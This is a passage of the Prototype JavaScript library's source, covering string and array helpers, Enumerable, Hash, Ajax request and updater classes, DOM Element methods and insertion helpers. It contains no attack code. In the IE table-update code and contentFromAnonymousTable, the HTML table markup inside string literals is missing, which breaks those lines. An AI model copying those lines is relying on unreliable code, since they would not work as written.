}, escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? (div.childNodes.length > 1 ? $A(div.childNodes).inject('',function(memo,node){ return memo+node.nodeValue }) : div.childNodes[0].nodeValue) : ''; }, toQueryParams: function(separator) { var match = this.strip().match(/([^?#]*)(#.*)?$/); if (!match) return {}; return match[1].split(separator || '&').inject({}, function(hash, pair) { if ((pair = pair.split('='))[0]) { var name = decodeURIComponent(pair[0]); var value = pair[1] ? decodeURIComponent(pair[1]) : undefined; if (hash[name] !== undefined) { if (hash[name].constructor != Array) hash[name] = [hash[name]]; if (value) hash[name].push(value); } else hash[name] = value; } return hash; }); }, toArray: function() { return this.split(''); }, succ: function() { return this.slice(0, this.length - 1) + String.fromCharCode(this.charCodeAt(this.length - 1) + 1); }, camelize: function() { var parts = this.split('-'), len = parts.length; if (len == 1) return parts[0]; var camelized = this.charAt(0) == '-' ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1) : parts[0]; for (var i = 1; i < len; i++) camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1); return camelized; }, capitalize: function(){ return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase(); }, underscore: function() { return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase(); }, dasherize: function() { return this.gsub(/_/,'-'); }, inspect: function(useDoubleQuotes) { var escapedString = this.replace(/\\/g, '\\\\'); if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"'; else return "'" + escapedString.replace(/'/g, '\\\'') + "'"; } }); String.prototype.gsub.prepareReplacement = function(replacement) { if (typeof replacement == 'function') return replacement; var template = new Template(replacement); return function(match) { return template.evaluate(match) }; } String.prototype.parseQuery = String.prototype.toQueryParams; var Template = Class.create(); Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; Template.prototype = { initialize: function(template, pattern) { this.template = template.toString(); this.pattern = pattern || Template.Pattern; }, evaluate: function(object) { return this.template.gsub(this.pattern, function(match) { var before = match[1]; if (before == '\\') return match[2]; return before + String.interpret(object[match[3]]); }); } } var $break = new Object(); var $continue = new Object(); var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } return this; }, eachSlice: function(number, iterator) { var index = -number, slices = [], array = this.toArray(); while ((index += number) < array.length) slices.push(array.slice(index, index+number)); return slices.map(iterator); }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = false; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push((iterator || Prototype.K)(value, index)); }); return results; }, detect: function(iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; }, grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inGroupsOf: function(number, fillWith) { fillWith = fillWith === undefined ? null : fillWith; return this.eachSlice(number, function(slice) { while(slice.length < number) slice.push(fillWith); return slice; }); }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; }, invoke: function(method) { var args = $A(arguments).slice(1); return this.map(function(value) { return value[method].apply(value, args); }); }, max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (result == undefined || value >= result) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (result == undefined || value < result) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; }, sortBy: function(iterator) { return this.map(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, toArray: function() { return this.map(); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { return iterator(collections.pluck(index)); }); }, size: function() { return this.toArray().length; }, inspect: function() { return '#'; } } Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray }); var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0, length = iterable.length; i < length; i++) results.push(iterable[i]); return results; } } Object.extend(Array.prototype, Enumerable); if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse; Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0, length = this.length; i < length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value && value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0, length = this.length; i < length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, reduce: function() { return this.length > 1 ? this : this[0]; }, uniq: function() { return this.inject([], function(array, value) { return array.include(value) ? array : array.concat([value]); }); }, clone: function() { return [].concat(this); }, size: function() { return this.length; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; } }); Array.prototype.toArray = Array.prototype.clone; function $w(string){ string = string.strip(); return string ? string.split(/\s+/) : []; } if(window.opera){ Array.prototype.concat = function(){ var array = []; for(var i = 0, length = this.length; i < length; i++) array.push(this[i]); for(var i = 0, length = arguments.length; i < length; i++) { if(arguments[i].constructor == Array) { for(var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++) array.push(arguments[i][j]); } else { array.push(arguments[i]); } } return array; } } var Hash = function(obj) { Object.extend(this, obj || {}); }; Object.extend(Hash, { toQueryString: function(obj) { var parts = []; this.prototype._each.call(obj, function(pair) { if (!pair.key) return; if (pair.value && pair.value.constructor == Array) { var values = pair.value.compact(); if (values.length < 2) pair.value = values.reduce(); else { key = encodeURIComponent(pair.key); values.each(function(value) { value = value != undefined ? encodeURIComponent(value) : ''; parts.push(key + '=' + encodeURIComponent(value)); }); return; } } if (pair.value == undefined) pair[1] = ''; parts.push(pair.map(encodeURIComponent).join('=')); }); return parts.join('&'); } }); Object.extend(Hash.prototype, Enumerable); Object.extend(Hash.prototype, { _each: function(iterator) { for (var key in this) { var value = this[key]; if (value && value == Hash.prototype[key]) continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject(this, function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); }, remove: function() { var result; for(var i = 0, length = arguments.length; i < length; i++) { var value = this[arguments[i]]; if (value !== undefined){ if (result === undefined) result = value; else { if (result.constructor != Array) result = [result]; result.push(value) } } delete this[arguments[i]]; } return result; }, toQueryString: function() { return Hash.toQueryString(this); }, inspect: function() { return '#'; } }); function $H(object) { if (object && object.constructor == Hash) return object; return new Hash(object); }; ObjectRange = Class.create(); Object.extend(ObjectRange.prototype, Enumerable); Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; while (this.include(value)) { iterator(value); value = value.succ(); } }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; } }); var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive); } var Ajax = { getTransport: function() { return Try.these( function() {return new XMLHttpRequest()}, function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')} ) || false; }, activeRequestCount: 0 } Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responder) { if (!this.include(responder)) this.responders.push(responder); }, unregister: function(responder) { this.responders = this.responders.without(responder); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); } }; Object.extend(Ajax.Responders, Enumerable); Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; } }); Ajax.Base = function() {}; Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, contentType: 'application/x-www-form-urlencoded', encoding: 'UTF-8', parameters: '' } Object.extend(this.options, options || {}); this.options.method = this.options.method.toLowerCase(); if (typeof this.options.parameters == 'string') this.options.parameters = this.options.parameters.toQueryParams(); } } Ajax.Request = Class.create(); Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; Ajax.Request.prototype = Object.extend(new Ajax.Base(), { _complete: false, initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { this.url = url; this.method = this.options.method; var params = this.options.parameters; if (!['get', 'post'].include(this.method)) { // simulate other verbs over post params['_method'] = this.method; this.method = 'post'; } params = Hash.toQueryString(params); if (params && /Konqueror|Safari|KHTML/.test(navigator.userAgent)) params += '&_=' // when GET, append parameters to URL if (this.method == 'get' && params) this.url += (this.url.indexOf('?') > -1 ? '&' : '?') + params; try { Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.method.toUpperCase(), this.url, this.options.asynchronous); if (this.options.asynchronous) setTimeout(function() { this.respondToReadyState(1) }.bind(this), 10); this.transport.onreadystatechange = this.onStateChange.bind(this); this.setRequestHeaders(); var body = this.method == 'post' ? (this.options.postBody || params) : null; this.transport.send(body); /* Force Firefox to handle ready state 4 for synchronous requests */ if (!this.options.asynchronous && this.transport.overrideMimeType) this.onStateChange(); } catch (e) { this.dispatchException(e); } }, onStateChange: function() { var readyState = this.transport.readyState; if (readyState > 1 && !((readyState == 4) && this._complete)) this.respondToReadyState(this.transport.readyState); }, setRequestHeaders: function() { var headers = { 'X-Requested-With': 'XMLHttpRequest', 'X-Prototype-Version': Prototype.Version, 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*' }; if (this.method == 'post') { headers['Content-type'] = this.options.contentType + (this.options.encoding ? '; charset=' + this.options.encoding : ''); /* Force "Connection: close" for older Mozilla browsers to work * around a bug where XMLHttpRequest sends an incorrect * Content-length header. See Mozilla Bugzilla #246651. */ if (this.transport.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005) headers['Connection'] = 'close'; } // user-defined headers if (typeof this.options.requestHeaders == 'object') { var extras = this.options.requestHeaders; if (typeof extras.push == 'function') for (var i = 0, length = extras.length; i < length; i += 2) headers[extras[i]] = extras[i+1]; else $H(extras).each(function(pair) { headers[pair.key] = pair.value }); } for (var name in headers) this.transport.setRequestHeader(name, headers[name]); }, success: function() { return !this.transport.status || (this.transport.status >= 200 && this.transport.status < 300); }, respondToReadyState: function(readyState) { var state = Ajax.Request.Events[readyState]; var transport = this.transport, json = this.evalJSON(); if (state == 'Complete') { try { this._complete = true; (this.options['on' + this.transport.status] || this.options['on' + (this.success() ? 'Success' : 'Failure')] || Prototype.emptyFunction)(transport, json); } catch (e) { this.dispatchException(e); } if ((this.getHeader('Content-type') || 'text/javascript').strip(). match(/^(text|application)\/(x-)?(java|ecma)script(;.*)?$/i)) this.evalResponse(); } try { (this.options['on' + state] || Prototype.emptyFunction)(transport, json); Ajax.Responders.dispatch('on' + state, this, transport, json); } catch (e) { this.dispatchException(e); } if (state == 'Complete') { // avoid memory leak in MSIE: clean up this.transport.onreadystatechange = Prototype.emptyFunction; } }, getHeader: function(name) { try { return this.transport.getResponseHeader(name); } catch (e) { return null } }, evalJSON: function() { try { var json = this.getHeader('X-JSON'); return json ? eval('(' + json + ')') : null; } catch (e) { return null } }, evalResponse: function() { try { return eval(this.transport.responseText); } catch (e) { this.dispatchException(e); } }, dispatchException: function(exception) { (this.options.onException || Prototype.emptyFunction)(this, exception); Ajax.Responders.dispatch('onException', this, exception); } }); Ajax.Updater = Class.create(); Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { initialize: function(container, url, options) { this.container = { success: (container.success || container), failure: (container.failure || (container.success ? null : container)) } this.transport = Ajax.getTransport(); this.setOptions(options); var onComplete = this.options.onComplete || Prototype.emptyFunction; this.options.onComplete = (function(transport, param) { this.updateContent(); onComplete(transport, param); }).bind(this); this.request(url); }, updateContent: function() { var receiver = this.container[this.success() ? 'success' : 'failure']; var response = this.transport.responseText; if (!this.options.evalScripts) response = response.stripScripts(); if (receiver = $(receiver)) { if (this.options.insertion) new this.options.insertion(receiver, response); else receiver.update(response); } if (this.success()) { if (this.onComplete) setTimeout(this.onComplete.bind(this), 10); } } }); Ajax.PeriodicalUpdater = Class.create(); Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { initialize: function(container, url, options) { this.setOptions(options); this.onComplete = this.options.onComplete; this.frequency = (this.options.frequency || 2); this.decay = (this.options.decay || 1); this.updater = {}; this.container = container; this.url = url; this.start(); }, start: function() { this.options.onComplete = this.updateComplete.bind(this); this.onTimerEvent(); }, stop: function() { this.updater.options.onComplete = undefined; clearTimeout(this.timer); (this.onComplete || Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(request) { if (this.options.decay) { this.decay = (request.responseText == this.lastText ? this.decay * this.options.decay : 1); this.lastText = request.responseText; } this.timer = setTimeout(this.onTimerEvent.bind(this), this.decay * this.frequency * 1000); }, onTimerEvent: function() { this.updater = new Ajax.Updater(this.container, this.url, this.options); } }); function $(element) { if (arguments.length > 1) { for (var i = 0, elements = [], length = arguments.length; i < length; i++) elements.push($(arguments[i])); return elements; } if (typeof element == 'string') element = document.getElementById(element); return Element.extend(element); } if (Prototype.BrowserFeatures.XPath) { document._getElementsByXPath = function(expression, parentElement) { var results = []; var query = document.evaluate(expression, $(parentElement) || document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = 0, length = query.snapshotLength; i < length; i++) results.push(query.snapshotItem(i)); return results; }; } document.getElementsByClassName = function(className, parentElement) { if (Prototype.BrowserFeatures.XPath) { var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]"; return document._getElementsByXPath(q, parentElement); } else { var children = ($(parentElement) || document.body).getElementsByTagName('*'); var elements = [], child; for (var i = 0, length = children.length; i < length; i++) { child = children[i]; if (Element.hasClassName(child, className)) elements.push(Element.extend(child)); } return elements; } }; /*--------------------------------------------------------------------------*/ if (!window.Element) var Element = new Object(); Element.extend = function(element) { if (!element || _nativeExtensions || element.nodeType == 3) return element; if (!element._extended && element.tagName && element != window) { var methods = Object.clone(Element.Methods), cache = Element.extend.cache; if (element.tagName == 'FORM') Object.extend(methods, Form.Methods); if (['INPUT', 'TEXTAREA', 'SELECT'].include(element.tagName)) Object.extend(methods, Form.Element.Methods); Object.extend(methods, Element.Methods.Simulated); for (var property in methods) { var value = methods[property]; if (typeof value == 'function' && !(property in element)) element[property] = cache.findOrStore(value); } } element._extended = true; return element; }; Element.extend.cache = { findOrStore: function(value) { return this[value] = this[value] || function() { return value.apply(null, [this].concat($A(arguments))); } } }; Element.Methods = { visible: function(element) { return $(element).style.display != 'none'; }, toggle: function(element) { element = $(element); Element[Element.visible(element) ? 'hide' : 'show'](element); return element; }, hide: function(element) { $(element).style.display = 'none'; return element; }, show: function(element) { $(element).style.display = ''; return element; }, remove: function(element) { element = $(element); element.parentNode.removeChild(element); return element; }, update: function(element, html) { html = typeof html == 'undefined' ? '' : html.toString(); $(element).innerHTML = html.stripScripts(); setTimeout(function() {html.evalScripts()}, 10); return element; }, replace: function(element, html) { element = $(element); html = typeof html == 'undefined' ? '' : html.toString(); if (element.outerHTML) { element.outerHTML = html.stripScripts(); } else { var range = element.ownerDocument.createRange(); range.selectNodeContents(element); element.parentNode.replaceChild( range.createContextualFragment(html.stripScripts()), element); } setTimeout(function() {html.evalScripts()}, 10); return element; }, inspect: function(element) { element = $(element); var result = '<' + element.tagName.toLowerCase(); $H({'id': 'id', 'className': 'class'}).each(function(pair) { var property = pair.first(), attribute = pair.last(); var value = (element[property] || '').toString(); if (value) result += ' ' + attribute + '=' + value.inspect(true); }); return result + '>'; }, recursivelyCollect: function(element, property) { element = $(element); var elements = []; while (element = element[property]) if (element.nodeType == 1) elements.push(Element.extend(element)); return elements; }, ancestors: function(element) { return $(element).recursivelyCollect('parentNode'); }, descendants: function(element) { return $A($(element).getElementsByTagName('*')); }, immediateDescendants: function(element) { if (!(element = $(element).firstChild)) return []; while (element && element.nodeType != 1) element = element.nextSibling; if (element) return [element].concat($(element).nextSiblings()); return []; }, previousSiblings: function(element) { return $(element).recursivelyCollect('previousSibling'); }, nextSiblings: function(element) { return $(element).recursivelyCollect('nextSibling'); }, siblings: function(element) { element = $(element); return element.previousSiblings().reverse().concat(element.nextSiblings()); }, match: function(element, selector) { if (typeof selector == 'string') selector = new Selector(selector); return selector.match($(element)); }, up: function(element, expression, index) { return Selector.findElement($(element).ancestors(), expression, index); }, down: function(element, expression, index) { return Selector.findElement($(element).descendants(), expression, index); }, previous: function(element, expression, index) { return Selector.findElement($(element).previousSiblings(), expression, index); }, next: function(element, expression, index) { return Selector.findElement($(element).nextSiblings(), expression, index); }, getElementsBySelector: function() { var args = $A(arguments), element = $(args.shift()); return Selector.findChildElements(element, args); }, getElementsByClassName: function(element, className) { return document.getElementsByClassName(className, element); }, readAttribute: function(element, name) { element = $(element); if (document.all && !window.opera) { var t = Element._attributeTranslations; if (t.values[name]) return t.values[name](element, name); if (t.names[name]) name = t.names[name]; var attribute = element.attributes[name]; if(attribute) return attribute.nodeValue; } return element.getAttribute(name); }, getHeight: function(element) { return $(element).getDimensions().height; }, getWidth: function(element) { return $(element).getDimensions().width; }, classNames: function(element) { return new Element.ClassNames(element); }, hasClassName: function(element, className) { if (!(element = $(element))) return; var elementClassName = element.className; if (elementClassName.length == 0) return false; if (elementClassName == className || elementClassName.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) return true; return false; }, addClassName: function(element, className) { if (!(element = $(element))) return; Element.classNames(element).add(className); return element; }, removeClassName: function(element, className) { if (!(element = $(element))) return; Element.classNames(element).remove(className); return element; }, toggleClassName: function(element, className) { if (!(element = $(element))) return; Element.classNames(element)[element.hasClassName(className) ? 'remove' : 'add'](className); return element; }, observe: function() { Event.observe.apply(Event, arguments); return $A(arguments).first(); }, stopObserving: function() { Event.stopObserving.apply(Event, arguments); return $A(arguments).first(); }, // removes whitespace-only text node children cleanWhitespace: function(element) { element = $(element); var node = element.firstChild; while (node) { var nextNode = node.nextSibling; if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) element.removeChild(node); node = nextNode; } return element; }, empty: function(element) { return $(element).innerHTML.match(/^\s*$/); }, descendantOf: function(element, ancestor) { element = $(element), ancestor = $(ancestor); while (element = element.parentNode) if (element == ancestor) return true; return false; }, scrollTo: function(element) { element = $(element); var pos = Position.cumulativeOffset(element); window.scrollTo(pos[0], pos[1]); return element; }, getStyle: function(element, style) { element = $(element); if (['float','cssFloat'].include(style)) style = (typeof element.style.styleFloat != 'undefined' ? 'styleFloat' : 'cssFloat'); style = style.camelize(); var value = element.style[style]; if (!value) { if (document.defaultView && document.defaultView.getComputedStyle) { var css = document.defaultView.getComputedStyle(element, null); value = css ? css[style] : null; } else if (element.currentStyle) { value = element.currentStyle[style]; } } if((value == 'auto') && ['width','height'].include(style) && (element.getStyle('display') != 'none')) value = element['offset'+style.capitalize()] + 'px'; if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) if (Element.getStyle(element, 'position') == 'static') value = 'auto'; if(style == 'opacity') { if(value) return parseFloat(value); if(value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) if(value[1]) return parseFloat(value[1]) / 100; return 1.0; } return value == 'auto' ? null : value; }, setStyle: function(element, style) { element = $(element); for (var name in style) { var value = style[name]; if(name == 'opacity') { if (value == 1) { value = (/Gecko/.test(navigator.userAgent) && !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? 0.999999 : 1.0; if(/MSIE/.test(navigator.userAgent) && !window.opera) element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,''); } else if(value == '') { if(/MSIE/.test(navigator.userAgent) && !window.opera) element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,''); } else { if(value < 0.00001) value = 0; if(/MSIE/.test(navigator.userAgent) && !window.opera) element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,'') + 'alpha(opacity='+value*100+')'; } } else if(['float','cssFloat'].include(name)) name = (typeof element.style.styleFloat != 'undefined') ? 'styleFloat' : 'cssFloat'; element.style[name.camelize()] = value; } return element; }, getDimensions: function(element) { element = $(element); var display = $(element).getStyle('display'); if (display != 'none' && display != null) // Safari bug return {width: element.offsetWidth, height: element.offsetHeight}; // All *Width and *Height properties give 0 on elements with display none, // so enable the element temporarily var els = element.style; var originalVisibility = els.visibility; var originalPosition = els.position; var originalDisplay = els.display; els.visibility = 'hidden'; els.position = 'absolute'; els.display = 'block'; var originalWidth = element.clientWidth; var originalHeight = element.clientHeight; els.display = originalDisplay; els.position = originalPosition; els.visibility = originalVisibility; return {width: originalWidth, height: originalHeight}; }, makePositioned: function(element) { element = $(element); var pos = Element.getStyle(element, 'position'); if (pos == 'static' || !pos) { element._madePositioned = true; element.style.position = 'relative'; // Opera returns the offset relative to the positioning context, when an // element is position relative but top and left have not been defined if (window.opera) { element.style.top = 0; element.style.left = 0; } } return element; }, undoPositioned: function(element) { element = $(element); if (element._madePositioned) { element._madePositioned = undefined; element.style.position = element.style.top = element.style.left = element.style.bottom = element.style.right = ''; } return element; }, makeClipping: function(element) { element = $(element); if (element._overflow) return element; element._overflow = element.style.overflow || 'auto'; if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') element.style.overflow = 'hidden'; return element; }, undoClipping: function(element) { element = $(element); if (!element._overflow) return element; element.style.overflow = element._overflow == 'auto' ? '' : element._overflow; element._overflow = null; return element; } }; Object.extend(Element.Methods, {childOf: Element.Methods.descendantOf}); Element._attributeTranslations = {}; Element._attributeTranslations.names = { colspan: "colSpan", rowspan: "rowSpan", valign: "vAlign", datetime: "dateTime", accesskey: "accessKey", tabindex: "tabIndex", enctype: "encType", maxlength: "maxLength", readonly: "readOnly", longdesc: "longDesc" }; Element._attributeTranslations.values = { _getAttr: function(element, attribute) { return element.getAttribute(attribute, 2); }, _flag: function(element, attribute) { return $(element).hasAttribute(attribute) ? attribute : null; }, style: function(element) { return element.style.cssText.toLowerCase(); }, title: function(element) { var node = element.getAttributeNode('title'); return node.specified ? node.nodeValue : null; } }; Object.extend(Element._attributeTranslations.values, { href: Element._attributeTranslations.values._getAttr, src: Element._attributeTranslations.values._getAttr, disabled: Element._attributeTranslations.values._flag, checked: Element._attributeTranslations.values._flag, readonly: Element._attributeTranslations.values._flag, multiple: Element._attributeTranslations.values._flag }); Element.Methods.Simulated = { hasAttribute: function(element, attribute) { var t = Element._attributeTranslations; attribute = t.names[attribute] || attribute; return $(element).getAttributeNode(attribute).specified; } }; // IE is missing .innerHTML support for TABLE-related elements if (document.all && !window.opera){ Element.Methods.update = function(element, html) { element = $(element); html = typeof html == 'undefined' ? '' : html.toString(); var tagName = element.tagName.toUpperCase(); if (['THEAD','TBODY','TR','TD'].include(tagName)) { var div = document.createElement('div'); switch (tagName) { case 'THEAD': case 'TBODY': div.innerHTML = '' + html.stripScripts() + '
'; depth = 2; break; case 'TR': div.innerHTML = '' + html.stripScripts() + '
'; depth = 3; break; case 'TD': div.innerHTML = '
' + html.stripScripts() + '
'; depth = 4; } $A(element.childNodes).each(function(node){ element.removeChild(node) }); depth.times(function(){ div = div.firstChild }); $A(div.childNodes).each( function(node){ element.appendChild(node) }); } else { element.innerHTML = html.stripScripts(); } setTimeout(function() {html.evalScripts()}, 10); return element; } }; Object.extend(Element, Element.Methods); var _nativeExtensions = false; if(/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ['', 'Form', 'Input', 'TextArea', 'Select'].each(function(tag) { var className = 'HTML' + tag + 'Element'; if(window[className]) return; var klass = window[className] = {}; klass.prototype = document.createElement(tag ? tag.toLowerCase() : 'div').__proto__; }); Element.addMethods = function(methods) { Object.extend(Element.Methods, methods || {}); function copy(methods, destination, onlyIfAbsent) { onlyIfAbsent = onlyIfAbsent || false; var cache = Element.extend.cache; for (var property in methods) { var value = methods[property]; if (!onlyIfAbsent || !(property in destination)) destination[property] = cache.findOrStore(value); } } if (typeof HTMLElement != 'undefined') { copy(Element.Methods, HTMLElement.prototype); copy(Element.Methods.Simulated, HTMLElement.prototype, true); copy(Form.Methods, HTMLFormElement.prototype); [HTMLInputElement, HTMLTextAreaElement, HTMLSelectElement].each(function(klass) { copy(Form.Element.Methods, klass.prototype); }); _nativeExtensions = true; } } var Toggle = new Object(); Toggle.display = Element.toggle; /*--------------------------------------------------------------------------*/ Abstract.Insertion = function(adjacency) { this.adjacency = adjacency; } Abstract.Insertion.prototype = { initialize: function(element, content) { this.element = $(element); this.content = content.stripScripts(); if (this.adjacency && this.element.insertAdjacentHTML) { try { this.element.insertAdjacentHTML(this.adjacency, this.content); } catch (e) { var tagName = this.element.tagName.toUpperCase(); if (['TBODY', 'TR'].include(tagName)) { this.insertContent(this.contentFromAnonymousTable()); } else { throw e; } } } else { this.range = this.element.ownerDocument.createRange(); if (this.initializeRange) this.initializeRange(); this.insertContent([this.range.createContextualFragment(this.content)]); } setTimeout(function() {content.evalScripts()}, 10); }, contentFromAnonymousTable: function() { var div = document.createElement('div'); div.innerHTML = '' + this.content + '
'; return $A(div.childNodes[0].childNodes[0].childNodes); } } var Insertion = new Object(); Insertion.Before = Class.create(); Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { initializeRange: function() { this.range.setStartBefore(this.element); }, insertContent: function(fragments) { fragments.each((function(fragment) { this.element.parentNode.insertBefore(fragment, this.element); }).bind(this)); } }); Insertion.Top = Class.create(); Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { initializeRange: function() { this.range.selectNodeContents(this.element); this.range.collapse(true); }, insertContent: function(fragments) { fragments.reverse(false).each((function(fragment) { this.element.insertBefore(fragment, this.element.firstChild); }).bind(this)); } }); Insertion.Bottom = Class.create(); Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { initializeRange: function() { this.range.selectNodeContents(this.element); this.range.collapse(this.element); }, insertContent: function(fragments) { fragments.each((function(fragment) { this.element.appendChild(fragment); }).bind(this)); } }); Insertion.After = Class.create(); Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { initializeRange: function() { this.range.setStartAfter(this.element); }, insertContent: function(fragments) { fragments.each((function(fragment) { this.element.parentNode.insertBefore(fragment, this.element.nextSibling); }).bind(this)); } }); /*--------------------------------------------------------------------------*/ Element.ClassNames = Class.create(); Element.ClassNames.prototype = { initialize: function(element) { this.element = $(element); }, _each: function(iterator) { this.element.className.split(/\s+/).select(function(name) { return name.length > 0; })._each(iterator); }, set: function(className) { this.element.className = className; }, add: function(classNameToAdd) { if (this.include(classNameToAdd)) return; this.set($A(this).concat(classNameToAdd).join(' ')); }, remove: function(classNameToRemove) { if (!this.include(classNameToRemove)) return; this.set($A(this).without(classNameToRemove).join(' ')); }, toString: function() { return $A(this).join(' '); } }; Object.extend(Element.ClassNames.prototype, Enumerable); var Selector = Class.create(); Selector.prototype = { initialize: function(expression) { this.params = {classNames: []}; this.expression = expression.toString().strip(); this.parseExpression(); this.compileMatcher(); }, parseExpression: function() { function abort(message) { throw 'Parse error in selector: ' + message; } if (this.expression == '') abort('empty expression'); var params = this.params, expr = this.expression, match, modifier, clause, rest; while (match = expr.match(/^(.*)\[([a-z0-9_:-]+?)(?:([~\|!]?=)(?:"([^"]*)"|([^\]\s]*)))?\]$/i)) { params.attributes = params.attributes || []; params.attributes.push({name: match[2], operator: match[3], value: match[4] || match[5] || ''}); expr = match[1]; } if (expr == '*') return this.params.wildcard = true; while (match = expr.match(/^([^a-z0-9_-])?([a-z0-9_-]+)(.*)/i)) { modifier = match[1], clause = match[2], rest = match[3]; switch (modifier) { case '#': params.id = clause; break; case '.': params.classNames.push(clause); break; case '': case undefined: params.tagName = clause.toUpperCase(); break; default: abort(expr.inspect()); } expr = rest; } if (expr.length > 0) abort(expr.inspect()); }, buildMatchExpression: function() { var params = this.params, conditions = [], clause; if (params.wildcard) conditions.push('true'); if (clause = params.id) conditions.push('element.readAttribute("id") == ' + clause.inspect()); if (clause = params.tagName) conditions.push('element.tagName.toUpperCase() == ' + clause.inspect()); if ((clause = params.classNames).length > 0) for (var i = 0, length = clause.length; i < length; i++) conditions.push('element.hasClassName(' + clause[i].inspect() + ')'); if 